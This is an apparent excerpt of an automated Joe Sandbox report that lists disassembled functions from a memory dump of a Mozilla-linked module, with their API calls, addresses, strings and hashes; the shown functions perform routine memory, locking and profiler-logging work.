Part of subcall function 6CF15E90: memset.VCRUNTIME140(6CF57765,000000E5,55CCCCCC), ref: 6CF15F27
Part of subcall function 6CF15E90: LeaveCriticalSection.KERNEL32(?), ref: 6CF15FB2

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: free$CriticalSection$EnterLeavememset
String ID:
API String ID: 3977402767-0
Opcode ID: 981c7981f542b38a953a56d0ca065f7ceef55bb308e0dfd7ce93c46a24fb8d99
Instruction ID: fe67144e4abfe8a1c4266b8f46656b2b6b1b05bdaab2180517bbc3201ab83236
Opcode Fuzzy Hash: 981c7981f542b38a953a56d0ca065f7ceef55bb308e0dfd7ce93c46a24fb8d99
Instruction Fuzzy Hash: 8FC1BA31E011188BEB24CB28DC90BDDB772BF42318F6547A9D52AA7BC1D7319E868F51

Function 6CF39420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6CF2AB89: EnterCriticalSection.KERNEL32(6CF7E370,?,?,?,6CEF34DE,6CF7F6CC,?,?,?,?,?,?,?,6CEF3284), ref: 6CF2AB94
Part of subcall function 6CF2AB89: LeaveCriticalSection.KERNEL32(6CF7E370,?,6CEF34DE,6CF7F6CC,?,?,?,?,?,?,?,6CEF3284,?,?,6CF156F6), ref: 6CF2ABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CF04A68), ref: 6CF3945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CF39470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CF39482
__Init_thread_footer.LIBCMT ref: 6CF3949F

Strings

MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6CF3946B
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6CF39459
MOZ_BASE_PROFILER_LOGGING, xrefs: 6CF3947D

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: 9b3a2da5d2dae387edf008849210f246678c1051ae41f5f98bd1bfb7a8b482e0
Instruction ID: c09212c2d633175559d56abf7a49d344c7a3d215058548e52bf12a0979c17bc2
Opcode Fuzzy Hash: 9b3a2da5d2dae387edf008849210f246678c1051ae41f5f98bd1bfb7a8b482e0
Instruction Fuzzy Hash: 77012830E001209BD7909F5CF814B4633B4AB05328F04853BDC0EC6B41EE27D9658AF7

Function 6CF40F40 Relevance: 12.2, APIs: 8, Instructions: 171threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CF40F6B
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CF40F88
GetCurrentThreadId.KERNEL32 ref: 6CF40FF7
InitializeConditionVariable.KERNEL32(?), ref: 6CF41067
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(?,?,?), ref: 6CF410A7
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(00000000,?), ref: 6CF4114B

Part of subcall function 6CF38AC0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,6CF51563), ref: 6CF38BD5

free.MOZGLUE(?), ref: 6CF41174
free.MOZGLUE(?), ref: 6CF41186

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: ?profiler_capture_backtrace_into@baseprofiler@mozilla@@Buffer@2@CaptureChunkedCurrentNow@Options@2@@ProfileStackStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID:
API String ID: 2803333873-0
Opcode ID: a756d1b4c9f154cafb76883d878acc4d11ac349d2809d548edd39caf009b8c75
Instruction ID: 004574ab871b5fdcd7f06e1ff8499456d97a92f875b46bf01a3a3edd448d7dbc
Opcode Fuzzy Hash: a756d1b4c9f154cafb76883d878acc4d11ac349d2809d548edd39caf009b8c75
Instruction Fuzzy Hash: A761D175A043409BDB11CF25D8807AABBF5BFC5308F15C92DE88947712EB71E898CB92

Function 6CEFE9C0 Relevance: 12.1, APIs: 8, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(?,?,?,6CF01999), ref: 6CEFEA39
memcpy.VCRUNTIME140(?,?,7FFFFFFE), ref: 6CEFEA5C
memset.VCRUNTIME140(7FFFFFFE,00000000,?), ref: 6CEFEA76
moz_xmalloc.MOZGLUE(-00000001,?,?,6CF01999), ref: 6CEFEA9D
memcpy.VCRUNTIME140(?,7FFFFFFE,?,?,?,6CF01999), ref: 6CEFEAC2
memset.VCRUNTIME140(?,00000000,00000000,?,?,?,?), ref: 6CEFEADC
free.MOZGLUE(7FFFFFFE,?,?,?,?), ref: 6CEFEB0B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?), ref: 6CEFEB27

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: memcpymemsetmoz_xmalloc$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 706364981-0
Opcode ID: 16042c966b70fcb4bc5d8b7019e4d8aad85967fa662d814558a325abde1a54a2
Instruction ID: d6ccdc8022a59979bd024fe95d132ccf67a4c08a884e333f4baef85556a4181c
Opcode Fuzzy Hash: 16042c966b70fcb4bc5d8b7019e4d8aad85967fa662d814558a325abde1a54a2
Instruction Fuzzy Hash: FB41A6B1A006159FDB14CF68DC81AAE77B4FF45358F240628E825D7B94E730EA05C7E1

Function 6CEFB630 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(?,?,?,?,6CEFB61E,?,?,?,?,?,00000000), ref: 6CEFB6AC

Part of subcall function 6CF0CA10: malloc.MOZGLUE(?), ref: 6CF0CA26

memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6CEFB61E,?,?,?,?,?,00000000), ref: 6CEFB6D1
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?,?,?,6CEFB61E,?,?,?,?,?,00000000), ref: 6CEFB6E3
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6CEFB61E,?,?,?,?,?,00000000), ref: 6CEFB70B
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,6CEFB61E,?,?,?,?,?,00000000), ref: 6CEFB71D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,6CEFB61E), ref: 6CEFB73F
moz_xmalloc.MOZGLUE(80000023,?,?,?,6CEFB61E,?,?,?,?,?,00000000), ref: 6CEFB760
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,6CEFB61E,?,?,?,?,?,00000000), ref: 6CEFB79A

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfreemalloc
String ID:
API String ID: 1394714614-0
Opcode ID: e69573ca51c962553a465ac1916549c868dacaf3f598b1bd647777dc0fa6fb7a
Instruction ID: c73581f8d66af8dce35e17aaf92e406a4e4bf0163bf55166b37facc3186e6dce
Opcode Fuzzy Hash: e69573ca51c962553a465ac1916549c868dacaf3f598b1bd647777dc0fa6fb7a
Instruction Fuzzy Hash: C441B3B2D002159FCB04DF68DC916AFB7B5BB85324F350629E825E7780E731E90687E1

Function 6CEFEF30 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(6CF75104), ref: 6CEFEFAC
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CEFEFD7
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CEFEFEC
free.MOZGLUE(?), ref: 6CEFF00C
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CEFF02E
memcpy.VCRUNTIME140(00000000,?), ref: 6CEFF041
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CEFF065
moz_xmalloc.MOZGLUE ref: 6CEFF072

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 1148890222-0
Opcode ID: b9db5f13d06a4a8273af8140b33af4f80494ec41db025baa4b5c2d24e8a4a838
Instruction ID: a7234096e3f5c1aa87cffe672371a01cb7a7a93b50f59a07f6e3932245055bdf
Opcode Fuzzy Hash: b9db5f13d06a4a8273af8140b33af4f80494ec41db025baa4b5c2d24e8a4a838
Instruction Fuzzy Hash: 3A4107B1A002059FCB08CF68D8919AF77B5BF85314B344228E825DB794EB71E906C7E1

Function 6CF6B540 Relevance: 12.1, APIs: 8, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6CF6B5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6CF6B5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6CF6B5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6CF6B5F4
__Init_thread_footer.LIBCMT ref: 6CF6B605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6CF6B61F
std::_Facet_Register.LIBCPMT ref: 6CF6B631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CF6B655

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 1276798925-0
Opcode ID: 331bca38d86880c2bc9d60d86699626de93f652c7ba1530f55d5634a4441947f
Instruction ID: fe551ee25a464cccd9c68867b2488d2ccbcc3e15ddeed52b371a57e9e8566954
Opcode Fuzzy Hash: 331bca38d86880c2bc9d60d86699626de93f652c7ba1530f55d5634a4441947f
Instruction Fuzzy Hash: AE319071F00114CBCF419BA9D958BAEB7B5FF8A324B150959E90297740DB35AC06CBA1

Function 6CF2D5D0 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6CEFEB57,?,?,?,?,?,?,?,?,?), ref: 6CF2D652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6CEFEB57,?), ref: 6CF2D660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6CEFEB57,?), ref: 6CF2D673
free.MOZGLUE(?), ref: 6CF2D888

Strings

Wl, xrefs: 6CF2D5D9, 6CF2D63F
|Enabled, xrefs: 6CF2D81E

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: Wl$|Enabled
API String ID: 4142949111-4149612105
Opcode ID: 4f4776409c4b0fe76bec263bf2c602fdd1f3519c9d08698f57f1645f80946e2e
Instruction ID: cd5ecaaf8c58ef155172dac34bc752e62fe07a889fac95c1806e991086ebc67d
Opcode Fuzzy Hash: 4f4776409c4b0fe76bec263bf2c602fdd1f3519c9d08698f57f1645f80946e2e
Instruction Fuzzy Hash: 3DA10670A043598FDB11CFA9C490BEEBBF1EF49318F14805DD899AB741D739A845CBA1

Function 6CF09830 Relevance: 10.7, APIs: 7, Instructions: 196COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,?,6CF57ABE), ref: 6CF0985B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,6CF57ABE), ref: 6CF098A8
moz_xmalloc.MOZGLUE(00000020), ref: 6CF09909
memcpy.VCRUNTIME140(00000023,?,?), ref: 6CF09918
free.MOZGLUE(?), ref: 6CF09975

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: free$_invalid_parameter_noinfo_noreturnmemcpymoz_xmalloc
String ID:
API String ID: 1281542009-0
Opcode ID: 8383bb6e244ef788ed7de8787e150a96d917dcc3835a9e2952c6d78f13627ffc
Instruction ID: 9577b3ab197e58b8872b66f477b9bb4a7619c0762752d438afb668b4544b2168
Opcode Fuzzy Hash: 8383bb6e244ef788ed7de8787e150a96d917dcc3835a9e2952c6d78f13627ffc
Instruction Fuzzy Hash: E171AC75604B058FC729CF28C490956B7F1FF4A3247644AADE85ACBB90EB31F941CB91

Function 6CF0B790 Relevance: 10.6, APIs: 7, Instructions: 147COMMON

Download Yara Rule

APIs

?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6CF4CC83,?,?,?,?,?,?,?,?,?,6CF4BCAE,?,?,6CF3DC2C), ref: 6CF0B7E6
?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6CF4CC83,?,?,?,?,?,?,?,?,?,6CF4BCAE,?,?,6CF3DC2C), ref: 6CF0B80C
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,6CF4CC83,?,?,?,?,?,?,?,?,?,6CF4BCAE), ref: 6CF0B88E
?_Osfx@?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEXXZ.MSVCP140(?,6CF4CC83,?,?,?,?,?,?,?,?,?,6CF4BCAE,?,?,6CF3DC2C), ref: 6CF0B896

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: ?good@ios_base@std@@D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@Osfx@?$basic_ostream@
String ID:
API String ID: 922945588-0
Opcode ID: 73352be988bcc62a053dcaa926125717fa6c8f6754dcbad52683ad812d21d4c9
Instruction ID: 03b05f7a6d5c951b12a4c8794b07215f10866367647788bd762bba6aa47ddb8b
Opcode Fuzzy Hash: 73352be988bcc62a053dcaa926125717fa6c8f6754dcbad52683ad812d21d4c9
Instruction Fuzzy Hash: C9518A35B106008FCB25CF59C5A4E2ABBF5FF89718B69895DE99A87351C730EC02DB80

Function 6CF34AD0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 139stringCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,?,80000000,?,6CF34AB7,?,6CEF43CF,?,6CEF42D2), ref: 6CF34B48
free.MOZGLUE(?,?,?,80000000,?,6CF34AB7,?,6CEF43CF,?,6CEF42D2), ref: 6CF34B7F
memcpy.VCRUNTIME140(00000000,?,?,80000000,?,6CF34AB7,?,6CEF43CF,?,6CEF42D2), ref: 6CF34B94
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,6CF34AB7,?,6CEF43CF,?,6CEF42D2), ref: 6CF34BBC
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,pid:,00000004,?,?,?,6CF34AB7,?,6CEF43CF,?,6CEF42D2), ref: 6CF34BEE

Strings

pid:, xrefs: 6CF34BE8

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: memcpy$_invalid_parameter_noinfo_noreturnfreestrncmp
String ID: pid:
API String ID: 1916652239-3403741246
Opcode ID: c7f31cc17f000268b14229ffd78a833f344055a08bdd0140dffb7768ab72644e
Instruction ID: b7ed74cf773905d0f388f8a2d9a8c780143f3459fe5ec74cf98e575eb2cf0fbf
Opcode Fuzzy Hash: c7f31cc17f000268b14229ffd78a833f344055a08bdd0140dffb7768ab72644e
Instruction Fuzzy Hash: 5641F771B042699BCB14CFB8EC8099FBFF9AF85224B144638E859D7781D631990887F1

Function 6CF41D00 Relevance: 10.6, APIs: 7, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CF41D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6CF41BE3,?,?,6CF41D96,00000000), ref: 6CF41D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6CF41BE3,?,?,6CF41D96,00000000), ref: 6CF41D4C
GetCurrentThreadId.KERNEL32 ref: 6CF41DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CF41DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CF41DDA

Part of subcall function 6CF41EF0: GetCurrentThreadId.KERNEL32 ref: 6CF41F03
Part of subcall function 6CF41EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6CF41DF2,00000000,00000000), ref: 6CF41F0C
Part of subcall function 6CF41EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6CF41F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6CF41DF4

Part of subcall function 6CF0CA10: malloc.MOZGLUE(?), ref: 6CF0CA26

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID:
API String ID: 1880959753-0
Opcode ID: 344742f59a4b1e76b6cbe8cf0d961f13052fd762c5fb72bf83323dbc0fd20c98
Instruction ID: 0d34ba089ae23499490ba8bc6850c2ddecf981a7835eecf911c6316aa704ad6b
Opcode Fuzzy Hash: 344742f59a4b1e76b6cbe8cf0d961f13052fd762c5fb72bf83323dbc0fd20c98
Instruction Fuzzy Hash: E84168B56107009FCB50CF29D488B56BBF9FF49314F10842EE95A87B42CB71E854CBA1

Function 6CF5AAB0 Relevance: 10.6, APIs: 7, Instructions: 86memoryCOMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6CF7E220,?), ref: 6CF5BC2D
ReleaseSRWLockExclusive.KERNEL32(6CF7E220), ref: 6CF5BC42
RtlFreeHeap.NTDLL ref: 6CF5BC82
RtlFreeUnicodeString.NTDLL(6CF7E210), ref: 6CF5BC91
RtlFreeUnicodeString.NTDLL(6CF7E208), ref: 6CF5BCA3
RtlFreeHeap.NTDLL ref: 6CF5BCD2
free.MOZGLUE(?), ref: 6CF5BCD8

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: Free$ExclusiveHeapLockStringUnicode$AcquireReleasefree
String ID:
API String ID: 3047341122-0
Opcode ID: 2fb7fdf82f5c17f6b24fb84a08ed174ced7cf44d6b8236cefd8d5d6860e90e5a
Instruction ID: 8908c89b079b0485031691a7c0a79ff9ab830e7f737cb7e7ed60dfba1368f0ae
Opcode Fuzzy Hash: 2fb7fdf82f5c17f6b24fb84a08ed174ced7cf44d6b8236cefd8d5d6860e90e5a
Instruction Fuzzy Hash: CA2103725003108FE7208F46D884BA6B7A8FF51718F55882AE5596BF10CB31F845CBE4

Function 6CF038A0 Relevance: 10.6, APIs: 7, Instructions: 80memoryCOMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6CF7E220,?,?,?,?,6CF03899,?), ref: 6CF038B2
ReleaseSRWLockExclusive.KERNEL32(6CF7E220,?,?,?,6CF03899,?), ref: 6CF038C3
free.MOZGLUE(00000000,?,00000000,0000002C,?,?,?,6CF03899,?), ref: 6CF038F1
RtlFreeHeap.NTDLL ref: 6CF03920
RtlFreeUnicodeString.NTDLL(-0000000C,?,?,?,6CF03899,?), ref: 6CF0392F
RtlFreeUnicodeString.NTDLL(-00000014,?,?,?,6CF03899,?), ref: 6CF03943
RtlFreeHeap.NTDLL ref: 6CF0396E

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: Free$ExclusiveHeapLockStringUnicode$AcquireReleasefree
String ID:
API String ID: 3047341122-0
Opcode ID: be2111a2ac90cc41795dac57d53c851b674fee4f96e34b92f3ca97899c20f159
Instruction ID: 0e4babf9d9200658184f31e97fe51f7ee3b8a7cc904c206c2d9d396a641c6e8e
Opcode Fuzzy Hash: be2111a2ac90cc41795dac57d53c851b674fee4f96e34b92f3ca97899c20f159
Instruction Fuzzy Hash: 3F21B172B00A109FDB119F16C884F96B7E5FF45728F168469D95A97B10C730E849CB90

Function 6CF384E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CF384F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CF3850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CF3851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CF3855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CF3856F
